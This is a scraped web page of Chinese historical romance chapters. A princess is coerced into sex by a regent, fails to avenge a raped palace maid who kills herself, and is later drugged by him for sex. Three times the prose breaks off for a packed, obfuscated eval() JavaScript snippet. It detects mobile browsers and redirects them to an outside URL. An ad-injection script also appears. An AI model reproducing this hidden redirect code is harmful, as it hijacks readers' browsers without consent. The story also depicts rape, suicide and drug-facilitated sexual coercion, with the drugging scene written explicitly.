;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733678|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 卢慈之前对长公主的印象便是,貌美,犹如天仙一般的美,太尉很是喜爱,如今才知她竟还有几分倔强,发起脾气来,虽是娇嫩的声音,竟也让人不可忽视。 大概这就是天家威严?半晌他才道:“是。” 大约过了两刻,卢慈才下令将人集结至漪兰殿,当天值班一共三十人,司妤让小柔出来指认,小柔看了一圈,却都不是,只有一个人,小柔一会儿说是,一会儿又说不是,竟拿不定主意。 卢慈道:“姑娘,你连人也分不清,还是说你只是自己偷懒躲到没人的地方睡了一觉,做了个梦,醒来就随意诬陷禁卫?” 卢慈也是西凉人,声如洪钟,铿锵有力,如此说话,带着狠厉,一下让小柔吓得后退几步,缩着身体哭起来,再也不知怎么办。 司妤道:“掌灯来,检查他身上是否有脏污或是可疑痕迹。” 如缨端来一盏三连枝的烛台来,与如绵一起在禁卫旁边查看,她们看得越仔细,却越发现这禁卫身上干净,并没有什么脏污。 沁芳宫是个无人居住的荒废宫室,里面无人打扫,小柔之前破损的衣服上全是灰尘,那人没衣服可换,身上一定有脏污的,不可能这么干净。 卢慈在一旁道:“公主,我西凉军,军纪严明,更何况是选入宫禁的禁军,绝不会有这样的人,我看这宫女八成是在宫中待久了,心中寂寞,才做了个逼真的春|梦,反倒诬蔑了这些禁军的清白。” 他这样说,那些禁军也面带笑意,小柔听这话,一时悲愤,不声不响的,突然朝殿中柱子撞去。 好在如绵眼尖手快,立刻上前去拽了她一把,让她摔在了地上,小柔顿时羞愤痛哭道:“我没有诬蔑,没有……” 就在此时,另有宫人从外面进来,到司妤身边低声耳语道:“公主,那人叫元炳,不在这儿。” 司妤这才明白,卢慈好一个只手遮天。 那个被小柔错认的人,可能就是他故意放进来的,为的就是让小柔犹豫,当时已是天黑,小柔根本看不清,弄个形似的,小柔拿不准,反倒让卢慈拿了把柄,指责小柔自己都不知道是谁。 在场三十名禁卫,不可能全是卢慈嫡系,大部分都还是原有的禁军,可这些人当着卢慈的面,一个都不敢站出来说一句原本值勤的不在此列,哪怕有她在场。 何其可悲,这甚至不是高盛,只是卢慈,她这个公主在宫中禁卫面前竟没有一丝威信。 她看着卢慈,一字一句道:“将今夜值勤的,名叫元炳的,交出来。” 她想,元炳出来,哪怕亲自动手,她也要杀了此人,替小柔伸冤。 卢慈道:“回公主,臣也不知此人,要不然公主先行休息,臣即刻命人去找。” “现在便找!”司妤道。 “是,臣这就让人去找。”卢慈道。 司妤叫来原本漪兰殿的禁卫队长欧阳策,吩咐他道:“你也带人去找,务必将此人带到我面前。” 欧阳策高声回答:“是!” 卢慈将他看一眼,也下去了。 再过半个时辰卢慈来报,却说没找到,欧阳策那边竟也没消息,因为许多新任将领都是卢慈派来的人,存心阻拦,不让搜查,他无可奈何。 司妤这时明白,卢慈是铁了心要包庇这元炳。 再到后半夜,欧阳策来禀报,卢慈夜半开了宫门,放人出去了,料想一定是元炳。 如缨听闻,在一旁垂泪道:“他既逃出去,那便再难抓到他了。” 司妤回答:“既认识他的人,为何抓不到他?” 如缨低下头去,没再说话。 司妤也知道,事情哪有这么简单,她手上无人可用,在宫中尚且不能捉拿元炳,何谈到了宫外? 8.第 8 章 这一夜过得心力交瘁,司妤将宫内宫外的人都在心里扒拉了一遍,到第二天一早,突然想起来一群和皇权一没落的人:绣衣使者。 绣衣使者为文帝时创立,管官员监察之事,隶属御史台,但又不受御史台管束。 第一批绣衣使者全由皇帝亲自选拔,虽官职低微,却有面奏皇上之权,所以文帝期间以及其后近百年时间,绣衣使者都是朝中不可小觑的一拨人。 直到后来父皇沉迷炼丹,宠幸术士吴弼,而吴弼打压绣衣使者,失去了皇帝宠幸的绣衣使者便什么也不是,待在御史台被人遗忘。 绣衣使者的职权既然超脱国法之外,自然受到朝中官员的唾弃,也因他们行事狠辣鬼祟,一般的人都不会喜欢他们,也包括司妤。 但司妤想来想去,发现此时也许找他们是最合适的。 她要抓到元炳,元炳逃出宫了,还有卢慈维护,她对宫外不熟,也不知什么大臣是靠得住的、是否已与高盛沆瀣一气,唯有绣衣使者。 他们是皇帝鹰犬,而高盛是凉州武人,绣衣使者怎么也不会加入高盛一党。 于是她招来了绣衣使者,命绣衣使者去宫外查探元炳消息。 绣衣使者原本干的就是稽查官员的活儿,元炳再藏也不可能藏到京城外,探查他的下落,对绣衣使者来说并不难。 隔一天后,宫外,卢慈一早找到了高盛。 高盛见他,先道:“你前夜私开了宫门?” 宫门与城门都有禁制,非皇帝旨意不得擅开,如今这权力在高盛与尚书令手上,卢慈命人开门,已是逾越。 卢慈连忙道:“我也知道不该,但当时别无他法。” 高盛看向他,他将前夜的事和盘托出,恳切道:“大哥知道,我这条命是元炬救下的,他家就剩这么一个弟弟,我不能让他们绝了后,长公主又较真,非要让人去将元炳捉来,我看那阵势,她是要元炳拿命偿,我就只能急急忙忙让他逃出宫了。” 高盛大概知道宫里出了事,但宫中禁卫交给了卢慈,他并没有过多干涉,此时才知这事还与司妤有关,于是问他:“公主要捉元炳?” 卢慈回答:“我听说,公主身边一个宫女和那尚衣局的宫女是同乡,她求的公主。” 高盛坐在椅子上不答话,卢慈着急地唤他:“大哥……” 高盛看向他,目光凌厉道:“元炬这个弟弟,视女色如命,打仗不要命,好色起来也不要命,你还将他调去宫中!” 卢慈低下头:“宫中禁军都出身士族,不听话,我只能多调自己人进去,元炳是冲动了些,但绝对信得过。” 高盛沉默,卢慈在他面前跪下:“大哥若要罚便罚我,我欠元炬一命,让我替元炳去死也行!” 高盛睨他一眼:“来京城了,鬼心眼也多了,还会用苦肉计了?” “我……”卢慈认真道:“我说的是实话!” 高盛回道:“既然已经将他放出来了,那便算了,下不为例。我们是军队,不是流匪,若我们烧杀抢掠、欺男霸女,也到不了今天。” “但眼下……元炳已经被人找到了,我也没想到他们找得那么快,说是什么绣衣使者,受公主之命,他们要带人走,我派了一队人过去才将人拦住,没让他们带走。” “绣衣使者?”高盛久在军中,对这名称不熟悉,但也略微知道他们的来历,似乎是专门暗中监察官员的,是公主派的他们?她那好看的小脑袋,竟还能想到这群人,看来是真心疼自己的宫女。 思忖半晌,他道:“稍后我进宫与公主谈谈吧。” 卢慈知道,大哥既然愿意保元炳,公主那里自然不成问题,她在自己这里能摆公主驾子,到了大哥那里,便只有在床上嗯嗯呀呀求饶的份。 他一笑,神色促狭道:“好,这回给大哥添麻烦了,后面我就把他调离禁军,不让他再进宫了。” 两人又说几句,高盛就进宫去了。 此时的宫中,司妤也得到绣衣使者回禀,他们已探知元炳下落,要拿人,却被一队兵卒所拦,正是卢慈麾下凉州军。 司妤心里合计,看卢慈这态度,是铁了心要保元炳的,若她让绣衣使者强行拿人,那势必要与卢慈的的凉州军交战,先不说绣衣使者是不是凉州军的对手,在人数上绣衣使者也敌不过凉州军。 但这事就这样放过吗? 如此放过,便是告诉所有人,宫中人只是刀俎之鱼肉,任人欺凌,也是告诉所有人,哪怕她这个公主亲自出面,也做不成一件事。 那谁还愿听命于皇家? 或许,将此事公之于众,也许高盛在意朝中议论,会命卢慈交出人? 就在她思忖着对策时,宫人报太尉求见。 他找她向来就只有那件事,她看见他就厌烦,但他此时来找,说不定是卢慈和他说了什么,而她想知道他的态度。 于是她让人传召,自己坐在室内,等着他过来。 高盛一进来,便摒退宫人,将她抱到了自己腿上,问她:“公主似乎心情不好?” 司妤索性道:“自然不好,有个叫元炳的,竟强污宫中宫女,我要将他拿下,那卢慈还阻拦!” 高盛看着她皱眉发怒的样子,笑道:“卢慈和我说这事了,那元炳有个哥哥叫元炬,五年前我们在黄州打长生教,卢慈身受重伤,是元炬背着他逃命,又解下他披风披在自己身上,这才救了卢慈一命,元炬受乱箭射死,所以卢慈欠元炬一条命。 “元炳是元炬的亲弟弟,也是个一以当十的好手,只是好女色,大概到了宫中,见到宫女貌美,一时没忍住。” 司妤不想听元炳的事,只想取他性命,偿还小柔所受的侮辱。 她冷声道:“现在是元炳欠小柔一条命。” 高盛笑:“什么命不命的,我与卢慈商议了一下,要不然,让无炳娶了那宫女好了,这样便什么事也没了。” 司妤心头一团怒火冒起,立刻从高盛腿上起身,看向他:“太尉在开玩笑吧,这意思是,有人奸|□□女,得到的惩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738281|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚就是白捡一个妻子?” “他哥哥毕竟求过卢慈,卢慈已向我保证,以后再不会有这种事了。”高盛道。 “何以保证?便是拿元炳的人头来保证,这样众人才知道法令不可触犯!”司妤道。 高盛脸上带着笑,这会儿笑容慢慢散去,平静道:“公主,够了,元炳可以娶那宫女,或者你再怎么赏赐那宫女也行,但人头什么的,不可能,让绣衣使者回去吧,不要再闹了。” 司妤看出了他神色中的警告。 她回看着他:“高盛,我不是闹,我是公主,我要元炳死。” 高盛饶有兴趣看着她,似乎听到什么笑话:“你怎么让他死呢,总不至于让那些绣衣使者和我凉州军打一架吧,那点人也不够杀的,到时候弄得城中血流满地,也不好看。” 司妤听得脸色发白。 这意思是,他要杀尽绣衣使者? 他见她似乎吓住了,安慰地将她拢到身前,用手指刮着她脸道:“我的公主,这就不是你要操心的事,反正卢慈再怎么样也不敢欺负你,你有这功夫,不如好好打扮一番,去小院里等我。”说完,将手往她衣襟里探。 她浑身僵直,心凉透顶,说不出一句话。 她的怒火,在他眼里就像孩童的狠话一样,只会引他发笑。 他看她的眼神就像在看一只小猫:看,这猫儿竟也吹胡子瞪眼了。 而她,难道要用上千名绣衣死者的命去告诉他,她的怒火不是开玩笑? 她做不到用别人的性命成就她的威严,所以她什么也不能做,折腾了那么久,只是一场闹剧,她唯一做成功的,就是让高盛从自己的身体上得到了快乐。 高盛午后才走,司妤有些心如死灰,下令召回了绣衣使者。 她当然不同意小柔去嫁元炳,唯一能想的是,寻绣衣使者中武艺高强的,暗中去把那元炳杀了。 虽然窝囊,但眼下只能这样……只是这样的结果,她都没脸去告诉小柔。 好在她并不用面对小柔,毕竟小柔只是个小小的尚衣局的宫女,她是公主。 但两日后,小柔投井自尽了。 原因是有人调戏小柔,口口声声说,反正以后她也是他的。 一问才知,他是元炳的好友,元炳说太尉已经将小柔赐给他做妾,到时候他愿意将这妾送给好友。 小柔听了,悲愤不已,于是当夜投井自尽了。 听到这消息,司妤在窗边坐了很久,她痛恨自己的无能,后悔自己的懦弱,自高盛走后,她没召见过小柔,没和她说不要嫁元炳,没和她再等一等,也许后面还有机会……因为没脸,她什么也没做。 于是小柔在听到那番话时,终于彻底绝望,选择自尽。 那一刻司妤想,她不要再忍了。 她的确力量微弱,但她就要用这微弱的一点力量来倾尽全力,杀高盛。 就算身死,也要溅高盛一身血、也要让天下人得知,她,大兴长公主因杀高盛失败而死。 9.第 9 章 四月初三,立夏。 司妤决意好要杀高盛,高盛却多日不曾见她。 她不知高盛在做什么,那日听闻马怀仁家的女儿办及笄礼,便决定主动找高盛。因为她恍然大悟,要杀一个人,总要了解一个人,而她自己就是最能接近高盛的人。 她令太监出宫,给高盛赐了一碗苋菜鸡丝粥,这是京中习俗,立夏吃粥。 没一会儿,太监回来了,给她带来个信封,太监说,是高盛的手书,呈与公主的。 她知道高盛出身屠户之家,就没进过一天学堂,是个实实在在的莽夫,此时见他的手书,打开看,上面写着“一碗粥,吃得寂寞,请公主至寒舍共食。” 大白话,字写得勉强能看,但寞字写错了。 她犹豫一会儿,做了一件以往绝不会做的事,竟拿着这手书就同意出去了。 这次她没打扮成太监,只打扮成了宫女,到高府同样走了后门,通报后,朱勇过来接她。 时至今日,她仍不愿让人看到自己这副模样,便只能目不斜视,一副高高在上模样从后门进入。 朱勇却带她走的客道,直通往前堂。 大概怕她不解,朱勇主动说道:“太尉在书房。” 司妤不知他让她去书房做什么。 只是自从心中有亲自杀高盛的想法,她便细细观察这宅院,这时发现不只院内满是守卫,且屋顶还有暗哨,高盛府?的守卫非常严密,外人想要闯入,几乎不可能。 到书房门口,朱勇一声不吭,就敲了两下门,得到应声后将门推开一道口,自己站在门口,让司妤进去。 司妤进门,朱勇就带上门离开了,而高盛就坐在书案旁,手上拿着笔,正写着什么,见她进来,放下笔。 司妤走过去,高盛靠在椅子上,看着她道:“倒是稀奇,公主竟会主动给我送粥。” 两年时间,司妤只主动过一次,就是第一次,主动到他宿处,求他扶持弟弟,以及……主动解下身上衣服。 司妤也知道自己突然的主动会很突兀,她微嘟起唇,作出心中有怨的样子道:“有什么好稀奇的,我闲着无事,比不上太尉人贵事多。” 高盛拉她坐到自己腿上:“怎么,好像不高兴?” 司妤不说话,眼睛瞥一眼桌上的字,却不是什么重要信件,还真是他练的字,甚至那句给她递过去的话都有三四张,挑出来的那张算是写得最好的。 但每一张的“寞”都错了。 高盛见她不说话,解释道:“李风华那老东西,要我多读书、多写文章,我这不是被逼着在做学生么?所以……荒废了正事。” 一边说着正事,一边就撩起了她裙子,让她面朝自己坐下。 她早知既然过来了,便有这一遭,已经准备孤注一掷,也不在乎多这一次少这一次,却还是扭捏地一边推他,一边含着怨气道:“你以为我不知道,什么做学生,你是在忙与马家的婚事,若你成婚,便不要再来找我。” 高盛倒鲜少看见她使性子、说这么多话,在他印象里,她一直是沉默的,柔顺的,最倔强那次还是为了宫女,派出绣衣使者。 “公主这是……吃醋了?”他一边不由分说将她托起按下去,一边笑着问。 司妤坚持着无谓挣扎,语气渐渐失控,凌乱道:“吃什么醋,我……我不要受这等侮辱……” “那是公主想多了,托那吕骞的福,马怀仁之前还在犹豫,在宴会上被那么一刺激,他又反悔了,说他家女儿已经许了人家。反悔就……” 他突然施重了力,让她头上的宫花都掉了下来,随后才看着她继续道:“反悔吧,反正我也不是很稀罕。” 司妤不能说话,咬唇不语。 “李风华又说再寻个人家,我说看他有没有本事帮我娶到徐晦的孙女,他负气不理我了。”高盛说着大笑,将她放倒在书案上:“其实娶谁也只是为了她老子,为了生几个儿子,要说真喜欢,那还得是公主。” 事后,他松开她,整了整衣衫,重新坐回椅子上,看着眼前的景致道:“郭循赠了吕骞一把弓来杀我,公主可知道?” 司妤心中一怔,很快反应过来自己不能自乱阵脚,便艰难而又娇弱地从书案上撑起身来,一脸茫然地问他:“舅舅?” 李风华提醒过高盛,据传那把射日弓收藏在宫禁,此事兴许公主知道,让他细细查探。 他有过这种怀疑,但此时看着眼前的女人,发丝凌乱,双颊酡红,衣衫半敞,娇弱无力,诱人得让人想拆之入腹,这种怀疑便消失得无影无踪。 他又想抱她了,公主啊公主,简直要人命。 高盛用自制力让自己继续坐着,继续道:“是啊,你舅舅,我现在才知他为什么连夜逃回宣州了,原来是和吕骞合谋了要杀我,怕计划败露。” 司妤继续装不懂:“舅舅为什么要杀你?” 高盛看着她,不言语。 她仍坐在书案上,动手将裙子放下,盖住自己的腿,茫然无措地看着他。 高盛终于道:“谁知道呢,兴许是受了谣言蛊惑吧。” “也许是误会,或者是别人诬陷!”司妤露出一些着急,然后带着乞求的语气:“一定是诬陷,你别信。” 高盛不想再试探她了,随意道:“也许吧。” “那……” 司妤从书案上下来,缓缓走到他面前,蹲下身,语气哀怜:“那太尉还会继续扶持皇上吧?” 高盛抚着她头,“当然。”他轻声道:“我们之前说好的。” “之前”,当然是她去找他、献出身体那一晚。 他捧着她后脑,朝自己靠近,她当然明白他在此事上的精力,于是主动伸手解他衣带。 正在讨他欢悦时,门外响起一阵轻轻的敲声,朱勇在门外道:“太尉,王姑娘到了。” “嗯?”高盛惊了一下,推开司妤,即刻起身:“让她稍等,我这就来。”一边说着,一边迅速整理衣带,随后才想起跌坐在地上的司妤。 他看看书房,多少有些重要的书信,便道:“公主先去我卧房等着吧。”说完人就出去了。 尽管司妤知道皇室的尊严早已荡然无存,但此时此刻,不只是公主,她连一个女人的尊严也被践踏得一点不剩。 自己拿袖子擦了擦唇,拉起自己的衣服,丫鬟进来替她梳好头,带她去了高盛卧房。 这不是她第一次进他卧房,但上次过来,她只有愤慨与耻辱,这次过来却冷静了许多。 只是这房间说不上整洁,却称得上空洞简单,什么也没有,几乎就有一张床,没什么值得注意的。 随后就看见卧室旁似乎另有隔间,她走过去,试探着推开移门,往里一看,里面竟是个兵器库! 她大为高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743698|145019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立刻冲过去拿面前那把剑,发现重得不得了,且太长,自己连拿起来都吃力,再看旁边摆着的一把刀,竟比那剑更重,至于正中放着的长刀,似乎是他常在马上用的武器,她试着动了动,双手也拿不动。 而这武器库角落里,就放着那天她从宫中拿给舅舅的射日弓。 看着这些武器,心中一阵挫败,自己最初那种,“拿一把剑候着他,趁他进门朝他刺过去”的想法实在幼稚得很。 她颓丧地回到卧房,不知又等了多久,思忖片刻,决定先行离开。 高盛不知如何得知吕骞与舅舅要刺杀的事,后面也不知会怎样处置,她放心不下。 回到宫中,令人去查,才知是因吕骞家中妻妾为分家产而吵架,吵着吵着,便将这胎死腹中的计划抖落出来,竟被高盛得知,高盛一查,就顺藤摸瓜查到了舅舅身上,又查到了射日弓的出处,只是没查到射日弓是被她交到舅舅手中的。 她赶紧去内库将她拿射日弓的痕迹抹去,又写信嘱托舅舅小心,但这些力量微弱的行动什么也不算,不过两日吕骞就被诛杀了满门,舅舅郭循亦被通缉。 好在舅舅已到宣州,宣州不在高盛势力范围,他暂时不会有事。 就在她想杀高盛而苦无对策时,司婵找到她,告诉她高盛欲将侄女嫁给宋之洵,司婵无计可施,求她帮忙。 司妤看着面前的妹妹,只想苦笑。 她何德何能,让妹妹这样看得起她。 她耐心回道:“妹妹,我想你知道,我若在高盛面前有分量,我便可以拒绝他,而不必让人人都知,他秽乱后宫。” “可……他还送姐姐夜明珠……”司婵小声道:“他与姐姐的关系毕竟和旁人不同,只要姐姐肯说一两句……” “他愿意给点小玩意儿,并不代表他会因为我而改变他的结亲计划!”司妤几乎震怒,最后道:“你有来求我的功夫,不如去让宋之洵拒绝。” “这几日我见不到他……也许,他也怕高盛。”司婵哭道:“高盛那侄女本在建德,难以进京,是宋家与浙州刺史联络,从中搭桥,才让那侄女进京,还是宋之洵亲自去接的,大概是因此,那侄女才看上宋之洵。” 听她这话,司妤突然想起上次那个让高盛十分在意的“王姑娘”。 她问:“他侄女姓什么?高?” 司婵摇头:“不,姓王,好像是表侄女。” “表侄女……”这却是司妤没想到的,她当时以为是别的什么人,原来是表侄女。 一个表侄女,就让高盛这么上心吗? 宋之洵生了一张温润如玉的脸,文质彬彬,又兼有武艺,且出身不凡,几乎没有女子能抗拒,最能让人一见钟情。那王姑娘定然是见了宋之洵,就心生爱慕,与高盛说了,高盛就马上替她说亲了。 “姐姐,你就去替我说一说吧,求求你了……”司婵说着真在她面前跪了下来。 司妤无奈:“妹妹,你姓司,你是大兴的公主,为何如此轻而易举就跪人?” “姐姐不同意,我便长跪不起。”司婵道。 司妤看她许久,平静地答应:“好,我会去和他说,向他求情,但我已说过,我在他眼里什么都不是,他会不会同意,不是我说了算。” 司婵仿佛没听到她后面的话,只是欣喜地冲到她面前拉住她胳膊:“好,一言为定,姐姐去替我说!” 10.第 10 章 司妤并不想直接去找高盛,说什么呢,让他把侄女婿让给她妹妹呢?除了自取其辱,她不知道还有其它什么用处。 她倒是想见见宋之洵。 但她与外朝臣子,实在没什么相见的机会,绣衣使者依前朝旧例,本就有入宫觐见的职权,似宋之洵这样的人太过扎眼,今日她见宋之洵,明日高盛就知道了。 想来想去,她选在了宫外。 正好太傅徐晦夫人葬礼,司妤去吊唁徐夫人。 以徐晦的身份,自然当得起她的吊唁。 而且上次高盛府上的宴席,徐晦拂袖而去,以高盛的性格,这次绝不会过来,这更便于她行事。 入徐府,赏赐完徐家厚礼,司妤便以更衣为由,入了客房,再拜托徐晦,命徐家人给葬礼上的宋之洵带话,请他来见。 徐晦同意了,没一会儿,宋之洵便入客房来,拜见司妤。 司妤坐在堂下,向他道:“宋卿,起身吧。” 宋之洵站起身来,缓缓抬眼,本不应直视,却不由往司妤看过去,见到那张容颜,情不自禁没能挪开眼。 恍惚中他想起,曾经,这座上的尊贵女子还是他的未婚妻。 那时的宋家何等辉煌,那时他也可称为春风得意,他是人人艳羡的名门公子,前途无量,他被皇帝钦点为驸马,而容貌倾城却又蕙质兰心的永宁长公主,大概是天下所有男子梦幻中的对象,这样的人,将会成为他的妻子。 只是这样的时光太短暂,还没等他接到圣旨,宋家便因奸佞陷害遭贬责,地位一落千丈,他也仕途无望,四处碰壁,尝尽世情冷暖。 直到吴弼伏诛,高盛得势,宋家投靠高盛。 但昔日的公主,已经沦为高盛的禁脔,他甚至听闻高盛专门造了个秘密小院,方便接公主去寻欢作乐。 此时面前的公主,因为长了年岁,不只美貌更甚,还比多年前的少女模样更添了几分妩媚,让人忘乎所以。 司妤觉察到他的失态,朝他柔声道:“宋卿,卿为君子,然朝廷羸弱,皇室亦如履薄冰,今日如此见卿,实在是无奈之下的权宜,望卿体谅。” 这是第一次宋之洵与公主如此对话,听闻话语中她的赞赏、无奈,以及尊重,宋之洵立刻意识到原来公主一切都是被迫,原来公主竟受监视,且是如此柔婉良善的一个人,只觉心口一痛,立刻道:“公主令臣惶恐,公主金枝玉叶,如今蒙难,只因作臣子的无能,护卫不周,是臣等该死!” 司妤道:“但……我听闻,卿欲娶高太尉侄女?” 宋之洵抬眼,只见司妤眼眶发红,眼中含泪欲滴,犹如牡丹含春露,似千金重锤一样锤中他的心。 他听出其中的酸涩之意,连忙道:“高太尉确有提及,臣自然万分不情愿,奈何家父……臣亦不知如何是好。” 司妤咬了咬唇,脸上悲痛更甚,眼中似乎隐隐透着幽怨,许久才道:“但昌乐公主说,你已与她订下婚约?” 宋之洵立刻跪下:“臣绝没有,只是前月昌乐公主外出游玩,与臣偶遇,才说过几句话,臣见昌乐公主,犹如……”他痛声道:“犹如见妹妹,又怎会有非分之想?” 一个臣子,有什么资格说见公主如见妹妹,这是大不敬,但如果他是长公主的驸马,那便可以这样说。 一时间,宋之洵望着司妤,司妤望着宋之洵,眼里那滴泪便落了出来。 司妤偏过头去,拿手帕拭了拭泪,随后才抬头,看着宋之洵道:“宋卿芝兰玉树,当世无双,引得无数女子爱慕,倒也……” 她失落道:“怪不得宋卿,只是如今,宋卿真要以遥林玉树之身,委身奸佞?” 宋之洵愕然,此时他才知,原来高盛在她眼里是奸佞。 对,她如此高洁美貌,如花似玉,若不是无可奈何,又怎会屈从高盛? 高盛前段时间也欲娶马怀仁之女,用以拉拢马家,他又让公主情何以堪呢? 宋之洵万分为难,不知该如何回答。 其实前有昌乐公主,后有那王姑娘,宋家都考虑过结亲。 只是两相比较之下,最后宋家更倾向于高盛,实在是高盛势力太过强大,如若不从,很可能没有好结果。 但无论昌乐公主,还是那姓王的女子,谁又比得上长公主万一呢? 想到此,他突然懂了长公主的无奈,他真正倾慕的,真正想娶的,自然是眼前的仙子,却只能看着她明珠蒙尘,而她的心里,是不是也如此想? 他才是她最初动心的驸马,但如今却只能眼看着他娶欺辱她的高盛的侄女。 许久他才道:“若依我内心,只想娶长公主。” 司妤悲伤道:“卿已决意娶高盛侄女,此时说这些,又有何意义?” 宋之洵垂下头去,痛心道:“是臣无能。” “我明白了,此番召见卿,便是想知道卿心中想法,到底欲娶何人。” 宋之洵一声不吭,再次跪了下去。 司妤知道事缓则圆,便作出一副伤心欲绝的样子,无奈道:“好了,宋卿的决定我已知道了,人多眼杂,不一定谁又是高盛的心腹,卿回去吧。” 宋之洵朝她叩拜,退下了。 司妤脸上的悲戚哀婉很快散去,换之以某种坚毅,似乎下了什么决心。 如缨在一旁提醒司妤:“这宋之洵一边让昌乐公主迷了心,一边又答应了与高太尉侄女的婚事,现在又说心中只想娶公主,听着可真假。昌乐公主也不傻,我不信他之前与昌乐公主在一起时,真没表现过一丝要做驸马的心。” “若在治世,他想必也是位能臣,在如今乱世,却只能依附权势。”司妤叹息一声。 原本她只是想知道宋之洵到底是要娶高盛侄女,还是要娶妹妹,结果见了他,才知他也迷恋自己的美色。 她早该知道,其实自己也是一只利器,宋之洵原来为京城人人称道的名门公子,是她既定的丈夫,如今看见她被高盛强占,而他还要向高盛谄媚,他真能甘心么? 只要他不是心服臣服追随高盛,那一切都有变数。 司妤见过宋之洵,待棺椁出殡,便先行回宫了。 才到半路,却遇人拦轿,如缨往外看了看,是朱勇。 司妤让队伍不用理,径直回了宫。 她的判断是对的,朱勇并未当街做什么过分行为,只是在她回宫后,朱勇又进宫来请她。 这会儿就不能不理了,她再 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次打扮成宫女,随朱勇出了宫。 这次朱勇接她到了那座城南的竹林小院。 朱勇到里面园子外就止步,让她自己进去,她穿过小院,进正屋,就见高盛在堂中食案上摆了粥菜,坐在一旁等她。 “公主是又生气?非得三催四请。”他道。 粥是苋菜鸡丝粥,司妤看了一眼,一副撇脸嘟唇,使小性的模样:“太尉身边自有什么王姑娘,李姑娘,要我做什么?” 高盛笑着朝她招手,示意她坐到他身旁。 她站在原处没动,他看着她,笑意融融道:“她是我侄女,公主想什么呢?” 司妤扭过头来,“你侄女不该姓高,怎么可能姓王?” “表侄女,我姑妈的孙女儿。”高盛解释。 司妤缓缓走近一步,将信将疑:“可太尉上心的那个样子,不像表侄女,倒像亲闺女。” 他一把拉过她,将她搂在怀里:“就这么一个表侄女,而且表哥是因我而死,我如何能不上心?” 司妤看向他,发现他脸上是少有的认真。 所以他也会在意家人吗? 她问:“太尉表哥也是西凉人?死于战场?” 高盛只笑了笑:“上次说好吃粥,却没吃上就走了,这次饿了么?同我一起吃这立夏粥怎么样?” 这是不愿意说了,司妤却更好奇。 只是眼前是问不出了,只能后面再找机会。 她装作气消却还不承认的样子,在桌边坐着,不说话。 高盛将粥端到她面前,拿小勺舀起一勺粥送到她嘴边。 她没张口,却也从他手中接过小勺,开始吃粥。 高盛也开始吃,很快就吃完,再看司妤,轻轻舀起一小勺,檀口微张,吃下一口,全程竟不发出一点声音,哪怕喝粥,也喝出了一股天家贵气。 他在一旁看着,叹声道:“这么一张小嘴,让人看着就想喂你吃……” 他的眼神已透露了后面的话是什么。 司妤顿了顿,继续喝下粥。 如今下定决心,她似乎不如以往那样容易难堪了,反正一切也维持不了多久了。 但这粥吃到一半,她觉得心中莫名有些烦躁,胸口有些发热。 看了看窗外,如今才初夏,这屋子开敞,外面还有微风,实在不该闷热。 不,不是闷热,是躁热。 而且十分诡异,她居然有些旖旎的想法冒出来,比如上次在这小院里发生的一切,当时的情形历历在目,让她觉得……很想再一次…… 她暗中掐了掐自己的腿,待抬眼,才发现高盛笑吟吟看着自己。 她陡然大惊,不解道:“你……在粥里下了毒?” 怎么会?难道他查知吕骞杀他的计划里,她也有份? 还是他这么快知道她刚刚见了宋之洵? 不对,如果是这样,他不该直接向她下毒,他应该会好好审问一番,再怎么说以她的身份,他杀之前还应有所顾忌。 高盛此时温声道:“别担心,不是毒,在想什么呢,我哪舍得毒公主,只是偶然得到的一点药,说是能让贞女变荡|妇,我想看看,尊贵的公主变荡|妇的样子。” 11.第 11 章 说完,仍是看着她。 司妤万没想到还有这种药,也没想到高盛竟如此…… 如此下作、无耻! 而且她更担心,如果这药的功效真如他所说,那明显是能迷乱人心智?万一她失去控制,将心中想法朝他和盘托出呢? 是她与舅舅商议了要杀他的,她有意刺激宋之洵,要在他心中埋下叛高盛的种子,以及还在谋划中的其他想法…… 她跑到痰盂旁想吐,却吐不出来,转回头,脑中已经开始混沌。 高盛仍坐在食案旁边的蒲团上,好以整暇看她。 她不由自主,开始往他那边爬过去,犹如渴望天神一样渴慕地望着他,娇声道:“太尉……” 高盛应声:“嗯?怎么?” “太尉……”绝美的女子,媚眼如丝,因为矜持而不愿说出心中的欲念,但声音娇媚得都掐出水来,一边说着,一边匍匐在他脚下,拉下自己的衣襟。 “我……” “公主要如何?” 女子被逼得几乎要哭出来,“求太尉……” 高盛挑起她下巴:“把衣服脱了,让我看看。” 女子于是将另一半衣襟也拉了下来。 他将目光盯着某处,笑道:“我是说,下面。” 